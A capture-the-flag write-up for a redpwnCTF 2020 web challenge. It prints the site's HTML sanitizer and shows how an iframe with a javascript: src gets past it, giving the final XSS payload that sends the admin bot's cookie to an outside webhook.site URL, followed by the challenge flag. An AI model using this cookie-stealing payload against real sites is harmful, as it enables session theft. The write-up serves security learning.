# static-static-hosting**Category:** Web
**Points:** 434
**Description:**> Seeing that my last website was a success, I made a version where instead ofstoring text, you can make your own custom websites! If you make something cool, send it to me here>> **Site:** ` static-static-hosting.2020.redpwnc.tf `>> **Note:** The site is entirely static. Dirbuster will not be useful in solving it.>> **Author:** BrownieInMotion
## WriteupThis challenge is very similar to the **static-pastebin**challenge. I would even consider it a precursor to this challenge, so I willkeep this writeup short. If you want more information, check out my[writeup for static-pastebin](https://github.com/itsecgary/CTFs/tree/master/redpwnCTF%202020/static-pastebin)
Anyways, we check the two links above and get the same bot submission webpage aswell as the same type of pastebin website. The title changed and we see that weare pasting "HTML" instead of text. Nonetheless, it will most likely be another**Reflected XSS** attack.
I went ahead and tested out a random word tosee what we are working with. I check the sources and we have another sanitizationfunction to work with:```function sanitize(element) {    const attributes = element.getAttributeNames();    for (let i = 0; i < attributes.length; i++) {        // Let people add images and styles        if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {            element.removeAttribute(attributes[i]);        }    }
    const children = element.children;    for (let i = 0; i < children.length; i++) {        if (children[i].nodeName === 'SCRIPT') {            element.removeChild(children[i]);            i --;        } else {            sanitize(children[i]);        }    }}```
Looks like we won't be able to but any "script" tags anywhere in there. We canalso see it sanitizes attributes, which limits us even more. Our goal here is probablyto steal the admin-bot's cookie again and we will need to inject some javascriptinto a tag here.
After messing around for a while, I reached a point where I am able to overwritethe location of the current session to a different website. I will be using **Webhook** againbecause it worked well for me for the last challenge.
Here is my final exploit:```<iframe src="javascript:top.location.href='https://webhook.site/b3ead4c5-b498-4d5f-9b82-f6fa49d9639f/?'+document.cookie"></iframe>```
I will enter a cookie: "XSS = but make it reflected (part 2)" and test it out.

When we click on "Take me to my website!", it redirects right away and it is hard to copythe address right away. For this case, I just base64 encoded it and put together the URLand submitted it to the admin-bot.

## Flagflag{wh0_n33d5_d0mpur1fy}
## Resources[Webhook](https://webhook.site/)